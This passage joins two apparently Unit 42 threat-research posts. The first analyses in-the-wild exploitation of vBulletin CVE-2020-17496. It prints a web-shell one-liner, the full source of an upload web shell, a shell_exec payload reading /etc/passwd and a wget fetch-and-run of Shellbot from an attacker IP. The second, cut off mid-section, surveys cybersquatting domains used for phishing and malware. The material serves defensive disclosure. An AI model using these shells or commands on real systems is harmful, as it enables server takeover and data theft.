$panel_id = '' . vB5_Template_Runtime::vBVar($id_prefix).vB5_Template_Runtime::vBVar($tab_num) . '';

$final_rendered .= '' . '' . '' . ' ' . '';

if (isset($subWidgets) AND (is_array($subWidgets) OR $subWidgets instanceof ArrayAccess))

{

foreach ($subWidgets AS $subWidget)

{

$final_rendered .= ' ' . vB5_Template_Runtime::includeTemplate($subWidget['template'],array('widgetConfig' => $subWidget['config'], 'widgetinstanceid' => $subWidget['widgetinstanceid'], 'widgettitle' => $subWidget['title'], 'tabbedContainerSubModules' => $subWidget['tabbedContainerSubModules'], 'product' => $subWidget['product'])) . ' ';

}

}$final_rendered .= '' . '’;

In the PHP code, it can be seen that the render engine will traverse the “subWidget” and its config from the $subWidgets and create a new template object, after which the rendering will generate its PHP code. In this case, if the string widget_php is assigned to variable subWidget and the malicious code is placed in the $widgetConfig['code'], the malicious code will be executed just like with CVE-2019-16759.

Proof of Concept

Based on our analysis, we can construct the exploit code to prove the functionality. The calling of the function callRender requires the POST HTTP method (according to Figure 7).

The code highlighted in the red box shows how the POST HTTP method is required to call the function callRender. This is a part of our proof of concept of an exploit of CVE-2020-17496. — Figure 7. Call of the callRender()

Figure 8 shows a compromised page that contains the result of the code phpinfo(); with the request information. Figures 9 and 10 show some other manipulated requests that have the same effect.

In the URL, the child template name widget_php and the malicious code phpinfo();exit(); are in the array subWidget as the first element. When the backend processes this URL, the malicious code will be executed.

This compromised page, part of our proof of concept of an exploit of CVE-2020-17496, contains the result of the code phpinfo(); with the request information — Figure 8. Reproduction of the exploit – 1

This is another manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496 — Figure 9. Reproduction of the exploit – 2

This is a third manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496 — Figure 10. Reproduction of the exploit – 3

Exploits in the Wild: CVE-2020-17496

We caught the first incident of CVE-2020-17496 exploitation on Aug. 10, 2020, and later found that exploitation attempts from different IP addresses are ongoing. Note that these are disparate attacks and not a coordinated effort by any particular attackers.

Scanning Activities

According to malicious traffic we captured, there are multiple source IPs running scans. These scans are trying to find vulnerable sites and collect that information, which is an early step of cyber attacks. The traffic is shown in Figures 11-15. These payloads try to execute system commands echo and id, which can give attackers knowledge of whether or not the targets are vulnerable according to the responses.

This is an example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them. — Figure 11. Exploit in the wild – 1

This is a second example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them. — Figure 12. Exploit in the wild – 2

This is a third example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them. — Figure 13. Exploit in the wild – 3

This is a fourth example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them. — Figure 14. Exploit in the wild – 4

Sensitive File Reading

Some attackers are trying to exploit the vulnerability and read files on the server-side. The payload contains the PHP function shell_exec() for the execution of arbitrary system commands and a system command cat ../../../../../../../../../../etc/passwd to read the content of the /etc/passwd. The traffic is shown in Figure 15. Once the attack succeeds, sensitive information from the targets may be disclosed.

This example of malicious traffic associated with CVE-2020-17496 exploitation shows a payload containing the PHP function shell_exec() for the execution of system commands. — Figure 15. Exploit in the wild – 5

Writing Web Shell

Some attackers are exploiting the vulnerability to install a web shell.

Figure 16 shows that the exploit is trying to write a PHP-based web shell <?php @eval($_POST[“x”]);?> to the file conf.php on the web host directory with the PHP function file_put_content(). Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.

This shows that the exploit is trying to write a PHP-based web shell to the file conf.php on the web host directory. Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side. — Figure 16. Exploit in the wild – 6

Figure 17 shows that the exploit is trying to download a PHP script onto the victim server. The webshell code is as below. The code provides an upload page for attackers to upload any files and conduct the follow-up steps of a cyber attack.

 <?php

 error_reporting(0);

 echo "Jasmine<br>";

 echo"<font color=#ff0000>".php_uname()."";

 print "\n";$disable_functions = @ini_get("disable_functions");

 echo "<br>DisablePHP=".$disable_functions; print "\n";

 echo"<br><form method=post enctype=multipart/form-data>";

 echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>";

 if($_POST["k"]==upload){

 if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){

 echo"<b>".$_FILES["f"]["name"];

 }else{

 echo"<b>Gagal upload cok";

 }

 }

 ?>

<?php

error_reporting(0);

echo "Jasmine<br>";

echo"<font color=#ff0000>".php_uname()."";

print "\n";$disable_functions = @ini_get("disable_functions");

echo "<br>DisablePHP=".$disable_functions; print "\n";

echo"<br><form method=post enctype=multipart/form-data>";

echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>";

if($_POST["k"]==upload){

if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){

echo"<b>".$_FILES["f"]["name"];

}else{

echo"<b>Gagal upload cok";

}

This shows the exploit of CVE-2020-17496 trying to download a PHP script onto the victim server. — Figure 17. Exploit in the wild – 7

Figure 18 shows that the exploit is trying to write base64 encoded PHP code into a file in the web host directory. The new page will lead to an arbitrary file upload entrypoint, allowing attackers to conduct the follow-up steps of a cyber attack.

This shows that the exploit of CVE-2020-17496 is trying to write base64 encoded PHP code into a file in the web host directory. — Figure 18. Exploit in the wild – 8

Downloading Shellbot

Some attackers are utilizing the vulnerability to download a Perl-based script malware (Shellbot) with the PHP function shell_exec() for the execution of the system command wget from the address http://178[.]170[.]117[.]50/bot1 and run it. The payload can be seen in Figure 19.

This shows the payload of an exploit of CVE-2020-17496 — Figure 19. Exploit in the wild – 9

Once the script is executed, it will connect to an IRC-based command-and-control (C2) server with the address of 66[.]7[.]149[.]161:6667, join the IRC channel #afk then keep responding to the PING from the server, as in the traffic shown in Figure 20. Once it receives the commands from the chat channel, it will execute the related code of port scanning, download files, execute system commands, start a flood attack, pop a shell to attackers and so on.

Once the malicious script in the previous figure is executed, it connects to an IRC-based command-and-control server, joins the IRC channel #afk, and responds to the PING from the server, as in the traffic shown here. — Figure 20. Traffic during the execution of the ShellBot script

Downloading Sora

One exploit is found to download a Mirai variant (Sora) from the attacker’s server. However, the payload is ineffective as it uses the wrong HTTP method.

This exploit of CVE-2020-17496 attempts to download a Mirai variant (Sora) from the attacker's server. — Figure 21. Exploit in the wild – 10

According to analysis of the samples, they spread themselves with different combinations of the exploits of CVE-2020-5902 (which would be ineffective, as the payload uses bash commands, whereas the exploit requires the injected commands to be specific CLI-compatible ones), CVE-2020-1937, CVE-2020-10173, CVE-2020-10987, Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE and the vulnerability CVE-2020-17496 discussed in this blog.

Conclusion

There are multiple kinds of exploit attempts against vBulletin pre-auth RCE vulnerability CVE-2020-17496 being detected by our threat platform. As a widely used forum software package that has been running for a long time in the market, it has been identified as a prized target by attackers.

vBulletin released the patch to fix this vulnerability on Aug. 10, 2020. Applying the patch to the latest version will mitigate the risks, which is strongly advised.

Palo Alto Networks customers are protected by the following services and products:

Threat Prevention Signature 59133 and 80671.
URL Filtering blocks the related C2 traffic of the Shellbot.

Additional Resources

Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2019-16759

Indicators of Compromise

Shellbot Hash

88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED

Mirai Variant (Sora) Hashes

03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4

b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992

94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7

bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb

77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3

051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581

fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016

8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2

ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397

80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c

f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7

1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b

fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901

68132010d9a543a6a2a9ea61e771cf2c041cea259cc76affdfe663e20c130a45

ab671fc0c68ed1c249c2bb52b28ae3d70df8bd1614d86f6d6a3f4c21d7841d72

4ff21e69b11566336f4fd56ac2829cdcf215182e8ff807f8e744c0a2b08f726f

a7373fa18b367edbcd4462345a5da087821e34734bdf05d1c4060a7694868c5e

dec56b06e03665d2c656b530d3b6f90ca0ec2925bec4559d8a2cec5da3a7700b

c379139347470254f19041f05e19f5454750e052f04f6d377ec8df19ce959519

fed0f0d3e9d990f8a83b86d29e586d46e7cac54efb0eae2f07112d61afb9b885

84448ee487010d6fed918febe230b71a8ec1266e300f85933014db2566645857

994889422b24a5b4759eda30265f1b933a458e15927b4f7949d4a3ba79eb43ca

39b6d72101adae2b71815328599f8e67ee27955849dfb3825c5b2731d504696b

0747988a77c89c1267a882b663fbd4168e25aed239fb1553e65bb4ac74ecda67

99d06d1c82af244b1533c1173ca10da7f29bfbf753073f20f5dc7a0016152a4c

372ab5c1c23d198b594353239a96d6cf620cc56588f5fdf5dfb32919dd019020

ef2a6b37568e14dacd5d8894ce2e4bbc593ffd58e197827a052d2c2f0a756949

1cf9ac9150d59de25ca5ac1f855fadf1b03f13b4e9ced63a12acef9c8292a648

cf172b4629e321e4c78a1d0717130bbb693392712a86d3d85d035bae1f377dbd

1a0293d4863ccef36e138e4f6c65ad013a403db0ffc69ebaf04b43b61b4ba798

2a14b9b01ec78a332be40339a782a2cf2bf9a237eee9cc5fcd40fa3385b1d4fb

f56150ff764328ee59eeaafe5e2d63574b475a69386c9ac4978006070807edc9

9572a532c08f81d7957ffd4639f95c34a2085f119fa426d8ea911af72bfd0b4a

113ad91a1aab3abcd704fe8670fbc043f049586462a4c58dabdd44c14519ea66

f9d7d9b11c60bd52625e7d9a33516c2bac96ac542a22696d0da3a9c536dae11b

6f01ef6670ecd79f9b322dd8521bc13a73037e7f84fa9aad35d11d964d8f9e60

2960748648bc2cd1b3db5e1e1ce9931a6588d65ae91c6d09e6b8bf2d78b00263

IP Addresses

66[.]7[.]149[.]161

178[.]170[.]117[.]50

Cybersquatting: Attackers Mimicking Domains of Major Brands Including Facebook, Apple, Amazon and Netflix to Scam Consumers

Posted on September 1, 2020June 6, 2024 by Zhanhao Chen

Executive Summary

Users on the internet rely on domain names to find brands, services, professionals and personal websites. Cybercriminals take advantage of the essential role that domain names play on the internet by registering names that appear related to existing domains or brands, with the intent of profiting from user mistakes. This is known as cybersquatting. The purpose of squatting domains is to confuse users into believing that the targeted brands (such as Netflix) own these domain names (such as netflix-payments[.]com) or to profit from users’ typing mistakes (such as whatsalpp[.]com for WhatsApp). While cybersquatting is not always malicious toward users, it is illegal in the U.S.,^{^[1]} and squatting domains are often used or repurposed for attacks.

The Palo Alto Networks squatting detector system discovered that 13,857 squatting domains were registered in December 2019, an average of 450 per day. We found that 2,595 (18.59%) squatted domain names are malicious, often distributing malware or conducting phishing attacks, and 5,104 (36.57%) squatting domains we studied present a high risk to users visiting them, meaning they have evidence of association with malicious URLs within the domain or are utilizing bulletproof hosting.

We also ranked the Top 20 most abused domains in December 2019 based on adjusted malicious rate, which means that a domain is either a target of many squatting domains or most of these squatting domains are confirmed malicious. We found that domain squatters prefer profitable targets, such as mainstream search engines and social media, financial, shopping and banking websites. When visiting these sites, users are often prepared to share sensitive information, which opens them up to phishing and scams to steal sensitive credentials or money if they can be deceived into visiting a squatting domain instead.

From December 2019 to date, we observed a variety of malicious domains with different objectives:

Phishing: A domain mimicking Wells Fargo (secure-wellsfargo[.]org) targeting customers to steal sensitive information, including email credentials and ATM PINs. Also, a domain mimicking Amazon (amazon-india[.]online) set up to steal user credentials, specifically targeting mobile users in India.
Malware distribution: A domain mimicking Samsung (samsungeblyaiphone[.]com) hosting Azorult malware to steal credit card information.
Command and control (C2): Domains mimicking Microsoft (microsoft-store-drm-server[.]com and microsoft-sback-server[.]com) attempting to conduct C2 attacks to compromise an entire network.
Re-bill scam: Several phishing sites mimicking Netflix (such as netflixbrazilcovid[.]com) set up to steal victims’ money by first offering a small initial payment for a subscription to a product like weight loss pills. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards, usually $50-100.
Potentially unwanted program (PUP): Domains mimicking Walmart (walrmart44[.]com) and Samsung (samsungpr0mo[.]online) distributing PUP, such as spyware, adware or a browser extension. They usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads. Of note, the Samsung domain looks like a legitimate Australia educational news website.
Technical support scam: Domains mimicking Microsoft (such as microsoft-alert[.]club) trying to scare users into paying for fake customer support.
Reward scam: A domain mimicking Facebook (facebookwinners2020[.]com) scamming users with rewards, such as free products or money. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation and income.
Domain parking: A domain mimicking RBC Royal Bank (rbyroyalbank[.]com) leveraging a popular parking service, ParkingCrew, to generate profit based on how many users land on the site and click the advertisements.

We studied domain squatting techniques including typosquatting, combosquatting, level-squatting, bitsquatting and homograph-squatting (all defined below). Malicious actors can use these techniques to distribute malware or to conduct scams and phishing campaigns.

To detect squatting domains, Palo Alto Networks developed an automated system to capture emerging campaigns from newly registered domains, as well as from passive DNS (pDNS) data. We continue to detect currently active cybersquatting domains – we identify malicious and suspicious squatting domains and designate them to the appropriate categories (such as phishing, malware, C2 or grayware). Protections against domains classified in these categories are available in multiple Palo Alto Networks security subscriptions, including URL Filtering and DNS Security.

We recommend that enterprises block and closely monitor traffic from these domains, while consumers should make sure that they type domain names correctly and double-check that the domain owners are trusted before entering any site. More tips can be found in this post on how to protect against cyberattacks.

Squatting Techniques

Typosquatting is one of the most common types of domain registration abuse. Typosquatters intentionally register misspelled variants (such as whatsalpp[.]com) of target domain names (whatsapp[.]com) to profit from users’ typing mistakes or to deceive users into believing that they are visiting the correct target domain. The most frequent typosquatting techniques include registering names one edit distance from the original domain, as these are the most common and overlooked mistakes users make. For more information, readers can refer to academic research papers on the scale and malicious use of typosquatting.

Combosquatting is another widespread registration abuse that combines popular trademarks with words such as “security,” “payment” or “verification.” Combosquatting domains like netflix-payments[.]com are often used in phishing emails, by scam websites and for social engineering attacks to convince users that they are visiting web content maintained by the targeted trademark. For more information, readers can refer to this academic paper on a longitudinal study of combosquatting.

Homographsquatting domains take advantage of internationalized domain names (IDNs), where Unicode characters are allowed (such as microsofŧ[.]com). Attackers usually replace one or more characters in the target domain with visually similar characters from another language. These domains can be perfectly indistinguishable from their targets, as in the case of apple.com, where the English letter "a" (U+0061) was replaced with the Cyrillic letter "а" (U+0430). For more information, readers can refer to academic research papers on IDNs.

Soundsquatting domains take advantage of homophones, i.e., words that sound alike (for example, weather and whether). Attackers can register homophone variants of popular domains, such as 4ever21[.]com for forever21[.]com. As text-to-speech software like Siri and Google Assistant becomes prevalent, more and more users will become vulnerable to the abuse of soundsquatting domains. For more information, readers can refer to this academic research paper on soundsquatting.

Bitsquatting domains have a character that differs in one bit (such as micposoft[.]com) from the same character as the targeted legitimate domain (microsoft[.]com). Bitsquatting can benefit attackers because a hardware error can cause a random bit-flip in memory where domain names are stored temporarily. Thus, even though users type the correct domains, they may still be led to malicious ones. Although such hardware errors are usually rare, an academic research paper has shown that bitsquatting is a real threat.

Levelsquatting domains, such as the case of safety.microsoft.com.mdmfmztwjj.l6kan7uf04p102xmpq[.]bid, include the targeted brand’s domain name as a subdomain. In this example, the victims of the phishing attack might believe they are visiting safety.microsoft.com, when instead, they are visiting the attacker’s website. This attack is especially worrisome for mobile users because the browser's address bar might not be wide enough to display the entire domain name. For more information, readers can refer to this academic paper for a more comprehensive study of levelsquatting domains.

Detection of Various Squatting Techniques

We leverage lexical analysis to detect candidate squatting domains among the Palo Alto Networks newly registered domain (NRD) and pDNS feeds. Our list of target domains is the combination of popular domains in general and domains popular in specific categories, such as shopping and business. We generate the aforementioned squatting variants of the target domains, and match them against our NRD feed and pDNS hostnames. Additionally, we cluster weekly collections of NRDs to see if registration campaigns target known brands. After the initial discovery step, we leverage WHOIS data to filter out defensive registrations and a heuristic rule-based classifier to identify which domains are true squatting domains.

Figure 1 shows the daily detection statistics for December 2019. During this period, we detected 13,857 squatting domains (~450 per day). Since then, the number of daily detections fluctuate from 200-900. To understand how these domains are leveraged for abuse, we use URL Filtering to categorize them. We label domain names as malicious if they are involved in distributing malware or phishing, or if they are being used for command and control (C2) communication. We label domains categorized as grayware, parked, questionable, insufficient content and high-risk as suspicious. The average malicious rate of the 13,857 squatting domains is 18.59% (2,595) and the average suspicious rate is 36.57% (5,104).

The graph shows daily figures for cybersquatting during December 2019. Blue bars represent detection rates, the red line tracks malicious rates and the yellow line represents the suspicious rate. — Figure 1. Volume and malicious and suspicious rates of daily domain squatting in December 2019.

Next, we compare our detection of squatting domains to vendors found on VirusTotal. Considering detection delays, we allow a 10-day time window for malicious squatting domains to appear on VirusTotal. Figure 2 shows how well the top 10 vendors detected these malicious and high-risk domains. The best-performing vendor covers about 25% of the malicious or high-risk squatting domains that we detected. Meanwhile, other vendors cover less than 20% of our detections. Lastly, we found that 55% of malicious or high-risk squatting domains are not detected by any vendors.

This graph compares the coverage rates of ten vendors in terms of their ability to detect malicious and high-risk cybersquatting domains. — Figure 2. Malicious and high-risk squatting domain detection on VirusTotal in December 2019.

The Domain Squatting Ecosystem

To identify malicious infrastructure hotspots, we studied specific network elements and entities that typosquatters depend on for their operations. Specifically, we studied popular registrars, name services, autonomous systems and certificate authorities used by domain squatters.

For each chart outlined below, we considered the number of squatting detections to reflect their popularity among domain squatters, and the malicious IOC rate to quantify the degree of threat to users. Combining these two metrics, we calculated the adjusted malicious rate of each entity. Thus, a high adjusted malicious rate means that an entity is either targeted by many squatting domains or most of these squatting domains are malicious.

Top 20 Most Abused Domains

Domain squatters prefer popular and thus profitable targets. Figure 3 shows the Top 20 most abused domains. These targets are popular websites, such as mainstream search engines and social media, financial, shopping and banking websites. Squatting domains mimicking these websites benefit from their credibility to attract more users that can be scammed. Therefore, these targets have relatively high squatting detection numbers.

The Top 20 domains most abused by cybersquatting in December 2019 include paypal.com, apple.com, royalbank.com, netflix.com, linkedin.com, amazon.com, dropbox.com, tripadvisor.com, bankofamerica.com, banorte.com, icloud.com, panda.tv, facebook.com, google.com, microsoft.com, norton.com, steamcommunity.com, shopee.tw, instagram.com and suddenlink.net. — Figure 3. Top 20 most abused domains in December 2019.

Top 10 Most Abused DNS Services and Autonomous Systems

Next, we look at the DNS services and the autonomous systems (AS) used by squatting domains to understand their infrastructure preferences. An AS is a set of IP subnets maintained by one or more network operators.

The name service used by domain squatters often signifies which registrar was used to register the domain, where the squatting web page is hosted or which parking service these domains utilize to profit from user traffic. Figure 4 displays the most abused name services of squatting domains. Freenom.com and dnspod.com are often used by domain squatters, as they provide cheap or free domain registration and domain hosting. DNSPod is known for hosting shady DNS records and for providing services for malicious bulletproof hosting operators. Level-squatters might choose to use registrar.eu as it supports an unlimited number of subdomains and free URL forwarding, which reduces the cost of deploying and scaling attacks.

This graph shows the top 10 DNS services most abused by cybersquatting in December 2019, this time in terms of squatting detected (blue bars) and malicious IOC (red bars) — Figure 4. Top 10 most abused DNS services in December 2019.

Additionally, parkingcrew.net and above.com are popular parking services because they provide a simple monetization avenue to domain owners, achieved by pointing domain names’ DNS records to their name servers. Parking services usually show users parked pages laden with ads or redirect users to affiliate marketing or malicious websites.

As hosting services often have their own AS, we observed that the AS distribution is somewhat consistent with the name service distribution. The top three most abused AS (19495, 48635, 262254) belong to the three most abused name service providers, respectively (freenom.com, registrar.eu, ddos-guard.net). The fourth most abused AS (40034) is owned by ztomy.com, a service favored for DNS hijacking attacks.

This graph shows the top 10 autonomous systems most abused by cybersquatting in December 2019, this time in terms of squatting detected (blue bars) and malicious IOC (red bars) — Figure 5. Top 10 most abused autonomous systems in December 2019.

Top 10 Most Abused Registrars

Registrars are entities that sell domain names to users. The most abused registrar, Internet.bs, provides free services preferred by domain squatters, including privacy-protected registration and URL forwarding. We captured several level-squatting campaigns at this registrar. In these campaigns, attackers set up hundreds of subdomains mimicking popular target domains under com-secure-login[.]info and com-finder-me[.]info. An example level-squatting subdomain is www.icloud.com-secure-login[.]info. The second-most abused registrar, Openprovider, offers cheap and easy bulk registrations, attracting many squatting registrations. Additionally, we observed many domains from this registrar having their WHOIS records redacted for privacy. Our system discovered many level-squatting domains registered at TLD Registrar Solutions using the .support TLD (top-level domain), including icloud.com-iphone[.]support and apple.com.recover[.]support, which users might confuse with legitimate Apple technical support services.

This graph shows the top 10 registrars most abused by cybersquatting in December 2019, this time in terms of squatting detected (blue bars) and malicious IOC (red bars) — Figure 6. Top 10 most abused registrars in December 2019.

Top 5 Most Abused Certificate Authorities

As HTTPS became common, cybercriminals increased the use of certificates to make their websites appear legitimate. Figure 7 provides an overview of the certificate authorities (CAs) preferred by squatting sites. The most popular CA is Cloudflare, as it offers a bundle, including free SSL encryption. The second most popular CA, cPanel Inc CA, is preferred by domain squatters because of the convenience and the ease of its AutoSSL services. Through cPanel’s management interface, their customers are able to finish all steps of SSL encryption, including certificate purchase, automatic installation and renewal. Thawte CA is not a trusted CA anymore, and browsers will label their certificate as suspicious, but squatting domains are still using it.

This graph shows the top 5 certificate authorities most abused by cybersquatting in December 2019, this time in terms of squatting detected (blue bars) and malicious IOC (red bars) — Figure 7. Top 5 most abused certificate authorities in December 2019.

Malicious Usages and Threats

In this section, we discuss in detail different types of abuse leveraging squatting domains. It includes malware distribution, phishing, C2 communication, potentially unwanted programs (PUPs), scams, ad-laden sites and affiliate marketing.

Phishing

Phishing is one of the most popular threats leveraging squatting domains. All of the different squatting techniques we discussed can be used to lure users into believing that a squatting domain is owned by the legitimate brand and to increase the efficiency of phishing and scam campaigns.

One example is a combosquatting domain, secure-wellsfargo[.]org, which targets Wells Fargo’s customers. This domain hosts a copy of Wells Fargo’s official site, as illustrated in Figure 8.a. However, this site is only the front-end portion of the original site, redirecting all clicks to the same login page (shown in Figure 8.b) to steal customers’ sensitive information, including email credentials and ATM PINs.

This screenshot shows a combosquatting domain's attempt to mimic Wells Fargo's official site. This illustrates one example of cybersquatting. — Figure 8.a. Fake Wells Fargo website: secure-wellsfargo[.]org

This phishing login page mimicking the Wells Fargo website asks users to "Verify Your Identity." This is one example of how cybersquatting domains can be used for malicious purposes. — Figure 8.b. Phishing login page for secure-wellsfargo[.]org

Figure 9 demonstrates how another combosquatting domain, amazon-india[.]online, mimicking Amazon, is set up to steal user credentials, specifically targeting mobile users in India. As a common strategy, all links on this site first redirect users to the same product page (the middle screenshot in Figure 9) and then to the payment page. In this particular case, the perpetrators did not even go through the trouble of optimizing the phishing page for desktop users.

This example of cybersquatting shows how a fake Amazon website targeting people in India is designed to resemble the true Amazon website when viewed on a mobile phone. — Figure 9. Fake Amazon website: amazon-india[.]online

Malware Distribution

Squatting domains are also often used to distribute malware. A combosquatting domain mimicking Samsung (samsungeblyaiphone[.]com) hosts Azorult malware 5acd6d9ac235104f90f9a39c11807c37cdfb103d6c151cc1a2e4e38bf3dbe41f on the URL samsungeblyaiphone[.]com/dolce.exe. Azorult malware is a credential and payment card information stealer, usually spread by phishing emails. It has been an active threat since 2016 and is one of the top malware families. Once the malware executes, it will generate a unique identifier for the compromised machine based on the machine’s globally unique identifier and username. Then the malware will contact the C2 server with this identifier, and it will retrieve the configuration of the infected machine, including the running processes and services. Additionally, Azorult malware often downloads payload from other compromised servers. The new payload can collect and send out sensitive data such as cookies, browser credentials and cryptocurrency information.

Analyzing the malware sample downloaded from samsungeblyaiphone[.]com, we found that it attempted to send a POST request to samsungeblyaiphone[.]com/index.php, which is consistent with this malware family’s known behavior to exfiltrate data. Besides the observed network activity, the malware also displayed suspicious behaviors such as changing the settings of Internet Explorer.

Command & Control (C2)

Malware instances on infected machines typically need to “phone home” to a C2 server for further commands to execute, to download new payloads or to perform data exfiltration. Malware often relies on domain names to locate C2 servers, and these domains are called C2 domains. While using squatting domains for C2 is uncommon, we speculate that the intention of those who do so is to evade automated detection (such as Domain Generation Algorithm detection) and manual analysis.

Our squatting detection system captured squatting domains mimicking Microsoft, microsoft-store-drm-server[.]com on January 30, 2020, and microsoft-sback-server[.]com on February 3, 2020. From the Palo Alto Networks WildFire Malware Analysis Engine, we retrieved similar malware samples, including fa28b59eb0ccd21d3994b0778946679497399b72c2e256ebf2434553cb7bf373 and e7fb436bf7d8784da092315bce1d3511a6055da41fe67362bad7a4c5d3f0294e , connecting to them. These two domain names used the previously mentioned DNSPod for name resolution, which is infamous for being slow in responding to abuse investigations. First, the malware resolved these domains to the same IP address 217.182.227[.]117. Then, it communicated through SSL traffic with the same JA3 (SSL fingerprint): 6312930a139fa3ed22b87abb75c16afa on client-side and 4192c0a946c5bd9b544b4656d9f624a4 on server-side. Observing the same behavior, we conclude they were using the identical SSL application and were part of the same campaign.

Similar to most C2 domains, these two squatting domains were short-lived. They were only used for one to two days after registration and were then abandoned by attackers. Tracking 217.182.227[.]117, we are able to find other C2 domains used by this campaign: store-in-box[.]com from Jan. 27-28, stt-box[.]com from Jan. 29-31, microsoft-store-drm-server[.]com from Jan. 31-Feb. 2, and microsoft-sback-server[.]com on February 3.

Potentially Unwanted Program (PUP)

A PUP could be either standalone software, like spyware or adware, or a browser extension. PUPs usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads. Researchers have shown that some PUP downloaders are also repurposed for malware campaigns. Websites hosting PUPs usually try to scare users by showing them warning messages like “Your computer is infected!” or “Your license has expired!” to convince them to download the advertised software.

Figure 10 shows a combosquatting domain mimicking Walmart (walrmart44[.]com) that distributes PUP. Depending on the browser used, it redirects users to landing pages offering different types of PUPs for download. When we visit this domain in Safari, it tells us that our Flash player might be outdated and offers us the chance to download the newest version from their site, as illustrated in Figure 10.a. While using Chrome, we get a “click continue and install extension” page, as shown in Figure 10.b, which redirects users to the Chrome store for the “Security for Chrome” extension. Alternatively, this website will occasionally redirect users to various legitimate ecommerce websites, including Walmart, Amazon and Aliexpress. After repeated visits, it will remember the source IP address and reject further visits even if we use different browsers (Figure 10.c).

This screenshot shows how a cybersquatting domain attempts to trick users who visit it from a Safari browser. The message that pops up reads, "Software update: Flash Player might be out-of-date." The window aims to entice the user to click a button to download software. — Figure 10.a. Redirection to PUP installation in Safari from walrmart44[.]com

The message reading "Too many requests" shows how a cybersquatting domain blocks crawlers who visit it frequently. — Figure 10.c. walrmart44[.]com blocks crawlers when visited too frequently.

A combosquatting domain mimicking Samsung (samsungpr0mo[.]online) looks like a legitimate Australian educational news website with a valid SSL certificate. However, visiting this site, users are faced with popup windows, warning them about security flaws (Figure 11.a). Clicking on the warnings, users are redirected to a fake virus scanning page, which recognizes their operating system to increase credibility but will always display the same list of detected viruses (Figure 11.b). Finally, clicking the “Proceed” button takes users to a download page for a system repair tool, which is legitimate but potentially unwanted.

This screenshot from a cybersquatting domain displays the title "Australlia Scholarship" [sic] and pops up security warnings in the top right corner, including, "PC might be infected!" and "Renew Norton License now." — Figure 11.a. samsungpr0mo[.]online displaying warning messages in the top right corner.

Technical Support Scam

Technical support scams are social engineering attacks. An associated website’s purpose is to scare people with audio and visual warnings into believing that their machine is compromised. It prompts people to call the displayed fake technical support center’s phone number. When people call the number, scammers will try to persuade them that the only way to save their machine is by paying for the fraudulent support service. In the case of combosquatting, the domain name often contains keywords like “security,” “alert” and “warning.” An example domain mimicking Microsoft (microsoft-alert[.]club) shown in Figure 12.a was registered on June 11, 2020. This website presents warning messages in Japanese (translated to English in Figure 12.b), renders dynamic content, such as a running command line window, and plays audio alerts.

This screenshot shows the technical support scam cybersquatting page translated to English. The messages at the top read "Error code 32, Call support [phone number], This computer window is disabled, This computer is infected with the Trojan virus, Your computer warns you that you are infected with porn spyware and viruses." — Figure 12.b. Translated to English.

Re-bill Scam

Re-bill scammers first offer a subscription to products such as weight loss pills in exchange for a small initial payment. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards, usually $50-100. Additional information on this type of scam can be found in Unit 42’s previous research on deceptive affiliate marketing. The combosquatting domain netflixbrazilcovid[.]com leverages both Netflix and the COVID-19 pandemic. The main page looks like the Portuguese Netflix site (Figure 13.a), and has the purpose of obtaining user email addresses. (It is shown translated to English in Figure 13.b.) A deceptive reward message (Figure 13.c) is then shown to potential victims. Finally, users are redirected to a survey and then to a re-bill scam page (Figure 13.d).

This screenshot of a cybersquatting domain shows that it is mimicking the Portuguese Netflix main page. — Figure 13.a. A fake Netflix main page hosted on netflixbrazilcovid[.]com

Translated to English, this cybersquatting page aimed at Brazilian users reads, "Movies, series and more. No Boundaries. Watch wherever you want. Cancel when you want." The page mimics the legitimate Netflix home page. — Figure 13.b. Translated to English.

This shows the social engineering email sent to users who click through on the cybersquatting domain we studied that targeted Portuguese-language Netflix. The email subject line reads, "We have a surprise for Netflix customers." — Figure 13.c. Deceptive social engineering reward email.

The screenshot shows the end stage of a scam being run from a cybersquatting domain mimicking the Portuguese Netflix main page. If a user provides an email address, then clicks on the email received, the user winds up here, at a page that reads, "Act now to claim your free bottle" or "level 10 CBD oil." — Figure 13.d. A re-bill scam page distributed by deceptive reward email.

Reward Scam

